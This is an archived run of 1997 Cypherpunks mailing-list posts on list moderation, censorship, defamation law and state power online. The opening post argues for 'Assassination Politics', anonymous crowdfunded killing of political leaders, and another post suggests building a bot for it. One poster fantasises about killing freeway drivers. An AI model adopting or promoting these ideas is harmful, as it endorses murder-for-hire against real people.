>thing (even if they don't work out as expected)? i.e., there were systems 
>of courts and lawyers and such instituted to openly deal with "criminal" 
>activity so that a) people could receive assistance against low-life 
>degenerate killers, and b) it could be proven that the accused were indeed 
>deserving of punishment.

Remember "power corrupts and absolute power corrupts absolutely"?  The 
problem with all existing political systems (and particularly those fallen 
ones from the past) is that they put power in the hands of people who 
subsequently abuse it, destroying the checks and balances that were put in 
place.  


>Humans being what they are, this hasn't worked like it's supposed to, but 
>the point is that there is a reason why such ideas for systems of justice 
>were introduced in the first place.   That reason, as I eloquently read in 
>a book, was "So That Reason May Live".  That is, so that people who choose 
>to live in a "society" may do so by the method of solving problems through 
>the application of intelligence, rather than merely knocking each other off 
>because a voting majority decides they don't like someone.

You misunderstand AP, yet again.  AP doesn't really take votes, it merely 
totals donations.  It is an essential element of the AP system that even a 
tiny minority should be able to kill individuals who are seen as threats, as 
long as this capability is universal.  True, the smaller the minority the 
more uneconomical such an action would be for them, but it would be well 
within the ability of 1% of the population to avoid a another Holocaust by 
getting rid of those pushing for it.

In the current political system, in the US for instance, 51% of the 
population is able to screw the remaining 49%, just as long as they can 
maintain the majority.  Or, perhaps even more accurately and ominously, a 
tiny fraction of the population (the current leadership class) is able to 
screw the 49%, as long as they have the un-thinking backing of the remaining 
and relatively uninvolved 51%.

AP disables this system.  AP turns government into the moral equivalent of a 
pick-up football game:  Nobody is being forced to play, and everybody and 
anybody can simply "get up and leave" whenever he wants to.  The moment the 
"rules of the game" to make an individual's continued participation 
unsatisfying, he can leave.

>Destructive people often ascend to positions of power not simply because 
>they are ruthless, but because they have 1) many sycophantic followers and 
>2) many ignorant, vulnerable people unable to prevent it.  You might be 
>able to kill off  one Saddam, but potentially many others would be waiting 
>in the wings to take his place. 

I don't think so.  Let's suppose you could purchase the death of Saddam for 
$5 million.  The next guy gets killed for another $5 million, and then the 
next, etc.  Who would want to be the next leader?  While $5 million dollars 
is certainly not pocket change for an individual, it is well within the 
capacity of the entire world to fund without any difficulty.   Anybody 
considering taking over Saddam's job, aware of such an easy system to kill 
him, would have no motivation to piss off the world.  Sooner or later, 
Saddam's place would have to be taken by a person who makes it absolutely 
clear to the rest of the world that he's no Saddam.  In fact, he'll point 
out that he would be foolish to take the job if he had ulterior motives.  
Unless you believe that it's physically impossible for Iraq to have an 
honest government (at which point you're displaying what I believe was 
called jingoism?) you'll acknowledge that their system would be fixed rapidly.

That's why AP will be so economical:  The absolute certainty that enough 
money could be raised to get rid of anyone who poses a threat will make it 
simply unnecessary to do so, the vast majority of the time.  It's called 
"deterrence," and is one of the reasons that 99.99% of the population 
doesn't rob banks, commit mass murder, or do any other anti-social things.  
Dictatorships will be impossible under AP because dictators simply won't be 
able to survive.  By being ready at all times to pay to have a dictator 
killed, society will never have any dictators.  Strange but true.


>The situation surrounding the existence 
>of someone like Saddam is part of the contributing factors which keeps him 
>there, not simply that one man himself.

Saddam is still in power because as long as the collective leadership of the 
countries of the world fear to set an example that will cost them their jobs 
and possibly their lives, they will gladly choose the $60 BILLION dollar 
"solution" to the Iraq problem, as opposed to my solution, AP, which would 
not only fix Iraq but every other country on the face of the globe.  That's 
why the leadership will never choose it.  The fact is, George Bush and his 
cronies kept Saddam in power by intentional acts, although he would never 
admit it.


  It was the same with Hitler and 
>with so many others  -  they don't just have an excess of  "power" 
>concentrated within themselves which puts them in positions of control over 
>others  - there will have been many people who will have helped put them 
>there, expecting to derive benefits from it.
>
>And what will be done about all those people who made this "power" 
>possible?  You don't just kill the one man and be done with it - you have 
>to also "kill" the conditions which maintained him.
>Blanc

I assert AP does this quite well.   AP makes it quite impossible to maintain 
a government which pisses off even a small fraction of the population.  
Anyone who feels abused in the citizen/government relationship will be able 
to opt out when he wants.  "Abused", by my definition, is getting less 
benefit out of the arrangement than that person wants in relation to the 
assets he put in.  

 "Governments" may still exist after AP, but in name only.  They will not 
have the ability to force taxation, and they will primarily be a way to 
coordinate volunteer action, and will be dramatically shrunk from today's 
behemoths.  

Such a government can't be corrupted:  To whatever extent that corruption 
makes that government a less-attractive as a project to an honest citizen, 
he will leave it and it will shrink, making it even less able to support 
that corruption.  



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Mon, 27 Jan 1997 19:55:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Infinite Improbability Drive?
Message-ID: <199701280416.XAA02142@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain



Am I reading this correctly, or will the 'infinite improbability 
drive' be invented real soon now? (An odd coincidence after the Tesla 
thread too...)

--Rob

> Edupage, 26 January 1997.  Edupage, a summary of news about information
> technology, is provided three times a week as a service by Educom,
> a Washington, D.C.-based consortium of leading colleges and universities
> seeking to transform education through the use of information technology.

[..]

> COMPUTER IN A COFFEE CUP
> While a conventional computer stores its bits of information by assuming one
> of two possible states (a 1 or a 0), a quantum computer theoretically could
> store much more information by using all the potential states of anatom.
> Scientists are now proposing a new way to harness the power of quantum
> computing, using nuclear magnetic resonance devices to control the movement
> of millions of atoms within an evenly heated volume of material.  By
> coordinating the nuclear spin of the particles, physicists could make them
> act collectively as qubits (quantum bits).  A liquid with the rightthermal
> properties (such as coffee, which is known for its unusually evenheating
> characteristics) could hold up to 10 qubits, but scientists are still
> looking for ways to create a liquid computer that could hold up to 40 qubits
> -- perhaps out of "a really expensive cup of structured coffee," says a
> University of California, Santa Barbara researcher.  (Science News 18 Jan 97
> p37)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:04:04 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854471616.912211.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > ...That was the intended direction of the list, it 
> > has rapidly disentigrated over recent months into a censored list 
> > where the elite post to the main list and anyone else is nearly 
> > always relegated to a seperate list for the crypto-untermenshcen.
> 
> Again, nonsense.  The moderation experiment (moderation, not
> censorship) has been in effect for all of ONE WEEK.  Where does 
> Paul get this hysterical "recent months" stuff?  

The list has been disentigrating for some time since the disgusting 
incident when Dimitri was forcibly unsubscribed from the list. There 
have also been a number of postings from members of the list claiming 
to understand anarchism who support censorship to "protect new 
members of the list".

> > If you want to talk about intellectual dishonesty try the following:
> > 
> > Imagine if you will a list, the original purpose of which was
> > to act as a free and open forum for discussion of cryptography and 
> > related issues...
> 
> Paul's argument is the essence of literal conservativism,  "but 
> I don't things to change!"  Without change, though, there can be 
> no progress.  Moderation is a one-month experiment.  There is no
> intellectual dishonesty in saying, "let's try something else for
> a while."

So, there would be no intellectual dishonesty in a country claiming 
to be a free and open society "trying out" fascism for a month or 
two? - After all it`s a private country just as this is a private 
list....
 
> > Now imagine that list falling into a state of content based 
> > censorship and censorship based on an unspoken but ever present 
> > class structure,...
> 
> "Unspoken but ever present class structure"?  I wonder how Paul
> was able to divine this?  Certainly it is unspoken, but that, of 
> course, it because it does not exist anywhere but in Paul's
> fertile imagination.

There is a clear trend easily observable on the list whereby certain 
members postings are censored when their content is of a standard 
that, if the moderation were objective and based on content alone, 
would warrant their being sent to the censored list.

If anyone here archives all of the list postings or is willing to 
retrieve them from the archive we can run some statistical tests and 
comparisons in a few weeks once the sample is large enough, however, 
the list oberfuhrer and leutenant von Sandfort will claim the 
statistical correlation between poster reputation among the upper 
class of list members and the number of their posts let onto the 
moderated list is caused by persistent flamers so this will not 
convince them..

> > It is a foregone conclusion that the upper class of list members will 
> > have no dispute over the censorship and therefore the change will be 
> > permenant,...
> 
> Great!  I thought that hadn't been determined yet.  What a 
> relief.
 
I think you`ll find your poor attempt at making light of the 
situation does little to hide the fact that this censorship has 
finally confirmed that this is a private list and is no longer meant 
to be a free, anarchic discussion forum.

I can tell you one other thing for sure, even if the moderation 
"experiment" were to end in a month as a last ditch attempt by John 
Gilmore and Sandy Sandfort to recover some of their lost credibility 
it would be a vain and entirely unsuccesful attempt.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:02:39 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854471618.912223.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > It is a foregone conclusion that the upper class of list members will 
> > have no dispute over the censorship and therefore the change will be 
> > permenant, it is a form of online ethnic cleansing whereby the lists 
> > clique of illuminati have taken it upon themselves to remove the 
> > elements of the list they feel endanger their position of superiority 
> > and respect, the point they have missed is that they have no 
> > credibility whatsoever after this incident, as well as a number of 
> > other such occurances and therefore are only isolating themselves 
> > into their own little world.
> 
> The Big Lie once again. yadda yadda yadda "Censorship!" yadda yadda
> yadda "No Credibility" yadda yadda yadda ad nauseum.

Blah Blah "Free speech advocates", Blah Blah "Foaming at the mouth 
anarchists"....

> > "cypherpunks will make the networks safe for censorship"
> 
> "Idiots will make the networks require censorship"

"Fascists will reply to posts with weak arguments" 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:05:24 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854471619.912219.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> > The exercise reveals to me that only by ignoring the first paragraph
> > of your example, the part that reads "Imagine if you will a list, 
> > the original purpose of which was to act as a free and open forum 
> > for discussion of cryptography and related issues." can you make
> > a claim of content based censorship. The purpose of this list was

Maybe this was misleading, that was indeed a purpose of the list but 
it was also supposed to be a free and anarchic list where people were 
not prevented from posting whatever they want.

Even if it were the case that we accepted content based censorship 
that is no defence of the obvious class system that is in place 
whereby certain posters are automatically sent straight to the 
moderated list and others are censored regardless of the content of 
their posts.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:05:00 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32ecee29303e002@noc.tc.umn.edu>
Message-ID: <32EDA4EB.604D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:
> paul@fatmans.demon.co.uk said:

> > "cypherpunks will make the networks safe for censorship"

> "Idiots will make the networks require censorship"

The line above this one says it all, doesn't it?  If I judge you to
be "an idiot", then, if I also have the power to shut you up, I can
not only shut off your "noise" from me, but also prevent anyone else
from hearing you as well.  That's the real beauty of censorship -
if I have the power, I can make you a non-person by preventing most
people from hearing you at all.  Oh, lovely, isn't it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:25:49 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970127191020.15519B-100000@pegasus.montclair.edu>
Message-ID: <32EDA9B3.6FA0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Mon, 27 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > Nurdane Oksas wrote:
> > > > > California is know for very beautiful girls ...

> seems, Americans like their own women , which is all they
> have seen maybe...

> > Anywhere else and it's no different from Cleveland or Pittsburgh.

> Well, can you say you've been 'anywhere else'?

Lived all over So. Cal. for 12 years, 4 years in SE Tenn., close to
Atlanta.  Atlanta has some nice babes, warm weather.  I fell totally
in love with a girl from Chattanooga, who was probably the best college
radio D.J. who ever lived.  Lived in Charleston for a short while.
Much smaller than Atlanta.  Very cozy.  Spent a lot of time in
Cleveland, Pittsburgh, Detroit. The best babes there are usually the
Chrissy Hynde (Akron) types.  Spent 2-1/2 years in Southern Germany.
Very, very nice.  Loved Berchtesgaden (sp?).  Interestingly enough,
I have a fondness for English girls.  Must be the ancestry thing.
I'd really like to talk to some Welsh girls - my mum's grandparents
came to the U.S. from there.  What about you?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:48:43 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701280301.TAA14685@toad.com>
Message-ID: <32EDAF27.727B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> Dale Thorn <dthorn@gte.net> wrote in article
> > blanc wrote:
> > > From:   Dr.Dimitri Vulis

This [below] is one of the most remarkable posts I've ever seen....

> > > However U.S.G. is able to say that people of Iraq or Lybia or Cuba
> > > should not be permitted on the 'net. It also bombs Iraq and murders
> > > their civilians in retaliation for something their governments
> > > supposedly did.

> > > The U.S.G. has many more resources than most of us to do these things,
> > > including equipment, cooperative troops, money, and recognition from
> > > other governments.   If other nations disagree with the U.S.G. they
> > > have the resources to discuss, bargain, negotiate, criticize, form
> > > alliances, take their chances and retaliate, etc.

> > I wish this were true, at least of nations which would be friendly
> > to someone like me (white, Western, etc.).  A bully on a school
> > playground can always be knocked down, no matter how big or how
> > vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
> > enough you get nuclear, chemical, and/or biological stuff waved at
> > you - if you get into a hot war like Desert Storm, your country is
> > carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

> Actually the US is being remarkably ineffective in keeping
> Cuba etc off the Net. If you don't believe me just try
> the cuban home page. We had a Web server running in Sarajevo
> during the siege back in '93. There is no way that the US govt.
> can hope to control the Internet any more than it can control the
> phone system. What is astonishing is that the Cuban authorities are
> so keen to import a technology that breaks down their propaganda.

This *is* amazing.  The cuban govt. is *eager* (keen) to subvert
their own propaganda.

> The Cold War was not won by the arms race, it was won in
> Eastern Europe which was never a major participant. The main
> instrument that won it was West German TV which broadcast
> pictures of supermarkets with full shelves into the homes
> of East Germans every night. The viewers could see that it
> was not mere propaganda and their relatives confirmed the
> fact. As a result the East German guards on the Berlin wall
> simply decided to leave their posts one night.

That's it?  The system collapsed because the guards left their posts?
And no mutiny charges?  Incredible.

> The East Germans couldn't stop the TV signals either. When
> Dresden started to become a ghost town because people wanted
> to move to a town which could recieve the broadcasts the
> East Germans ended up installing their own relay to keep
> the locals happy.

People left their own home towns just so they could watch TV?  I
know a lot of Americans who'd like to leave their towns to get away
from TV, permanently.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 21:01:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Panamsat Offers Internet By Satellite
Message-ID: <v03007801af1336f31f58@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 27 Jan 1997 20:00:33 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Panamsat Offers Internet By Satellite
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 267

>From Space News Daily News Note -- 1/27/97

Panamsat Corp. of Greenwich, Conn. is now offering high-speed Internet
access by satellite.

The new service, called Spotbytes, is available worldwide to Internet
service providers.

It provides a quick connection to the Internet by avoiding terrestrial
lines and linking companies directly to backbone providers -- companies
with a main line to the Internet.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 00:13:59 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701280717.BAA16135@manifold.algebra.com>
Message-ID: <32EDB51D.31DF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Kevin L Prigge wrote:
> > > paul@fatmans.demon.co.uk said:

> > > > "cypherpunks will make the networks safe for censorship"

> > > "Idiots will make the networks require censorship"

> > The line above this one says it all, doesn't it?  If I judge you to
> > be "an idiot", then, if I also have the power to shut you up, I can
> > not only shut off your "noise" from me, but also prevent anyone else
> > from hearing you as well.  That's the real beauty of censorship -
> > if I have the power, I can make you a non-person by preventing most
> > people from hearing you at all.  Oh, lovely, isn't it?

> Don't you like power, Dale?

I have a great deal of respect for power.  When I was 6, I unwound a
coat hanger and put both ends into an electrical outlet.  All I
remember from that is something like a sledgehammer hitting me, and
I went backwards rather quickly.  And I never did it again.

But seriously, I was just telling the folks over the weekend, if I
had my hand on the button, a lot of people would die very quickly.
As in The Day The Earth Stood Still, a single act of aggression would
suffice to be immediately terminated.  The best place to begin, in
the USA at least, would be the public freeways.  There you have the
most acts of aggression in a short space, and the best pickings for
liquidation.  Give me the power, and I'll show you all those nifty
techno-ways of eliminating people that have been kept from the public
by our benevolent government ("sources and methods").

BTW, I don't give a damn about someone "cutting me off", since I'm
not aggressive enough (outside of my liquidation duties) to be bothered
by that in most cases.  I'm primarily concerned with vehicles who get
too close behind, who pass with no safety margin, etc.  I call these
people anal-compulsive (as opposed to anal-retentive).  You've seen
the videos on PBS, the various animal species whose male members
perform occasional "mounting" of others to intimidate.  There are a
large percentage of humans who try to do the same thing, demonstrating
that they (IMO) have no further need of their lives.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 23:49:37 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Toto's database
In-Reply-To: <3.0.32.19970126025513.006ba14c@ricochet.net>
Message-ID: <32EDB7D6.5F52@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> An interesting assertion. Is your database available for others to draw
> their own conclusions from? 

  As a matter of fact, it is. It consists of the cypherpunks unedited
and
flames list.

> I'd appreciate seeing at least a first-level abstraction of the data

 Given the well-developed and ratiionally strong questions you asked in
your post, I am afraid that you would find my abstractions of data
rather rudimentary, at best.
  I keep a separate directory of CypherSpam, for my own purposes, and I 
merely popped the moderation-related criticisms into another directory
and made some direct comparisons. I used my computer-brain to draw my
conclusions from, which I suppose might raise the issue of personal
bias and/or competent technology. (I regard my brain as a Pentium, but
there are others who aver that it can more closely be compared to the
digital circuitry on their office coffee-machine)

> Of course, correlation alone doesn't tell us much. If it really exists, it
> suggests that the two phenomena observed are related in some way, but it
> doesn't tell us the nature or the cause of the relationship.

  That is why the world has need of spin-doctors, conspiracy theorists 
and data-analysts.

> Another explanation would be that a moderation opponent is sending the
> spams as a way to punish the proponents of moderation.

  This is an illogical conclusion, since the proponents of moderation 
receive the censored list, and therefore do not receive the UCE/Spams.
  On the other hand, the UCE/Spams are passed along to the other lists,
despite the fact that not a single member of the list has indicated 
any desire to receive them. The fact that John and Sandy have shown
absolutely no concern for 'protecting' the list members from UCE/Spam 
until their forced censoring of 'undesirable' list members indicates 
that the 'punishment' you mention applies only to those who oppose
the censorship of list members.
 
> I think this is especially true given the relatively inexact nature of the
> "spam" weapon

  Unfortunately, the 'spam weapon' is an extremely exact science in the
hands of those familiar with remailer systems and bots.  Also, some of
the spams appear to originate from toad.com itself, as opposed to coming
from outside sources.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 23:06:58 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701280647.WAA10602@mail.pacifier.com>
Message-ID: <199701280703.BAA15931@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >From:	jim bell (in response to Dimitri Vulis')
> >Look, I've proposed what I consider to be a remarkably consistent method to 
> >prevent the kind of political tyranny that you criticize, and I don't see
> >any recognition of this fact.
> >........................................................
> >
> >1) Jim, why do you insist on discussing this on an forum for encryption?
> 
> Because it's on-topic, that's why.  Because it's not merely a list 
> concerning METHODS of encryption, it's also about the _reasons_ for using 
> encryption, as well as the _effects_ (both small-scale and large-scale) of 
> using encryption.  

Actually AP is one of the more interesting topics here. I think that there
is a clear need for an AP bot.

Do you feel like writing it?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 23:22:50 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EDA4EB.604D@gte.net>
Message-ID: <199701280717.BAA16135@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Kevin L Prigge wrote:
> > paul@fatmans.demon.co.uk said:
> 
> > > "cypherpunks will make the networks safe for censorship"
> 
> > "Idiots will make the networks require censorship"
> 
> The line above this one says it all, doesn't it?  If I judge you to
> be "an idiot", then, if I also have the power to shut you up, I can
> not only shut off your "noise" from me, but also prevent anyone else
> from hearing you as well.  That's the real beauty of censorship -
> if I have the power, I can make you a non-person by preventing most
> people from hearing you at all.  Oh, lovely, isn't it?
> 

Don't you like power, Dale?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 28 Jan 1997 01:37:04 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Libel/slander & crypto relevancy
Message-ID: <3.0.32.19970128012643.006ea2c8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:50 PM 2/27/97 -0600, Jim Choate wrote:

>I predict that within the next five years these
>slander/libel laws will be used by some organization to prosecute defamation
>of their Internet presence (eg web page graffitti). Within 10 years this
>area will be one of the hotest areas of the new communications law.

Civil actions against people doing "graffiti" are only interesting where
the defendant has assets worth suing for. This economic dimension
substantially limits the number of suits which will be brought.

Corporate plaintiffs, if they chose to bring suit, would in many cases
prefer to sue in federal court. (Federal juries tend to be more
conservative and hence pro-corporate; they're also more likely to be
friendly to an out-of-town corporation suing a local individual). To sue in
federal court, the plaintiff needs to find a federal question or diversity
jurisdiction. Other causes of action (like copyright infringement,
trademark dilution, or false designation of origin) would provide a federal
question and hence federal jurisdiction.  

Criminal prosecutions for defamation (in the case of "graffiti") are still
unlikely - a much more straightforward charge would be unauthorized access
to a computer or some flavor of fraud, depending on the facts. Confusion
aids defendants, so I predict prosecutors will avoid defamation law (and
its tar pits of actual malice and the defense of truth) when they are able
to do so and still have a reasonable chance of conviction.

>If they don't
>understand the technology (eg forwarding private email to publicly
>accessible lists by accident) how in the world are they going to understand
>what is best, let along convince anyone else?

There's a world of difference between understanding technology and screwing
up once in awhile. Perhaps you've never screwed anything up (although your
summary of US defamation law ought to count), but the rest of us do, from
time to time. Were I involved in computer-related litigation, I'd choose an
attorney who could talk to a jury over an attorney who was good with
computers, hands down. Not even a question. And I'd pick an attorney who
owned up to making mistakes sometimes over someone who  imagined him or
herself somehow superior to people who fuck up now and then. 

>It has been proposed by at least one party that a district attorney or other
>public prosecutor would not act on such events. This is also naive.

I was that "party", and I guess that in trying to be civil I was actually
unclear. If you were a politically important person or organization, and if
Toto's message had caused you real damage, and if Toto were reasonably
available to prosecute, a prosecutor might get interested. But you're not
important, Toto would be difficult to extradite, and you weren't harmed. So
you picked a crappy example to make your point(s) with. Change the facts,
and you'll get a different answer. Duh.

>The
>ramifications for their political opponents to use this 'insensitive and
>clearly self-interested' refusal to act as a perfect example of how that
>prosecutor is interested in their own political career and not in the
>interest of the people they are charged with protecting as well as a good
>demonstration of their technological ignorance. It would be very difficult
>to get re-elected in such an environment.

Yeah, I'll bet that your local prosecutor's failure to prosecute Toto is
going to cost them dearly in the next election.

You picked a hypothetical which did a poor job of illustrating the points
you're making in this later message. Do you want to talk about whether or
not Toto is criminally liable for making fun of you while making a point
about ownership of networks and its relationship to freedom of speech, or
do you want to talk about the more general case of liability for
misattribution? If it's the latter, yes, there are some issues there, but I
still think that defamation law is a poor way to address them. You seem to
be having an "I've got a hammer, everything looks like a nail" problem. 

And all of this seems a bit contrived if the real crypto-relevant point is
"use digital signatures to avoid misattribution". 

>All that I ask is that instead of jumping the gun and saying 'it ain't so'
>you simply consider the ramifications from 'their' perspective. It truly is
>amazing what one can learn by walking a mile in another mans shoes. For if
>there is one truth to be learned it is that this discussion is not about how
>it is, but rather how it will be and how it should be.

Despite your closing, I haven't seen you write anything about "how it
should be", beyond the idea that people should learn more about digital
signatures. You've forwarded lots of information from other people's web
pages about defamation liability in different jurisdictions, but no
discussion about why the rules we've got now are good ones (or bad ones).
Other commentators have suggested that defamation law is obsolete (Tim May)
or should be reconsidered in light of a victim's ability (via the net) to
reply to a defamer (Mike Godwin). Do you have a proposal along these lines? 

Your message suggests to me that you're very pro-plaintiff with respect to
defamation (at least when you're the plaintiff), but you haven't explained
why other people should adopt your perspective. You did suggest that juries
are also likely to think it's in their best interests to find for
plaintiffs (because they might find themselves in similar circumstances
someday); but it's unclear to me why that reasoning wouldn't make them
equally likely to side with defendants (because they might be wrongfully
accused of doing something bad), or why your logic wouldn't apply to every
case, not just defamation cases. 

And, for what it's worth, juries aren't supposed to consider "what is in
our best interest" either as individuals nor as a community, nor is that a
legitimate topic for argument to the jury with respect to questions about
liability or guilt.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Mon, 27 Jan 1997 16:47:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reuters article: "Unstoppable Internet will defy controls"
In-Reply-To: <Pine.GSO.3.95.970120151123.23877M-100000@well.com>
Message-ID: <199701280036.BAA06228@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


>More broadly, modern governments rely on their ability to control
>information and money to maintain control over their citizens.

>But does the Net mean we no longer need government in its present form? 

The German law professor Alexander Rossnagel has published an article
titled "Globale Datennetze: Ohnmacht des Staates - Selbstschutz der
Buerger" (global networks: state's impotence, citizens'
self-protection) in Zeitschrift fuer Rechtspolitik 1997, p. 26 ff.

He describes that decentral networks are difficult to control, and
anonymizers, encryption and steganography can be used to defy
surveillance.  "[The state] can neither enforce matters of public
interest, nor offer protection to its citizens", including protection
of privacy and legally protected secrets.  The state cannot
effectively face law violations: "If it somewhere suppresses
information, it will be 'mirrored' by many other servers world-wide.
If it blocks communication lines, the message will find a way around.
Sattelite transmission also renders the question of location almost
irrelevant.  Theresa Orlowski was denied a license for her porn
channel here.  Now she is broadcasting from Britain.  In cyberspace,
functions of social relevance, such as protection of minors, can no
longer be fulfilled by the state.  They are transferred to the parents
exclusively."

"The state can only interevene where the immaterial world of the
network touches the physical world: It can arrest criminals, seize
devices and data storage, when these physically are in its control.
It can enforce adherance to its laws where it physically can exersize
its power.  But in the incorporeal world of the network, to a large
extend it is powerless.  All these examples indicate a new fact: The
networks constitute a new incorporeal social space.  Increasingly more
social contacts, economic and legal exchanges are being transferred to
it.  In it, conditions are different from in the social relationships
of the physical world.  In this new world, the state has no means of
coercion, no monopoly of power, and no sovereignty."

"Law to be enforced requires power.  The democratic constitutional
state depends on sovereignty and obediency to laws.  Only with these
it can universally enforce democratic decisions and protect the
citizens' basic rights from violations by third parties.  To guarantee
this is the fundamental reason for the modern state to exist.  Its
protective mission continues to apply.  However, it has expanded with
the civilisatoric development.  With Hobbes, the focus was on the
procetion of life and limb, with Locke the protection of freedom and
property were added, and in this century, facing new threats, the
protection of privacy.  [... The states'] sovereignty is based on the
authority to exclusively exercise physical power in [their territory].
This sovereignty has limits in the immaterial space of global
networks.  But when the citizen no longer receives the state's
protection in the special sphere of the networks and the state can no
more enforce matters of public interest there, then its basic
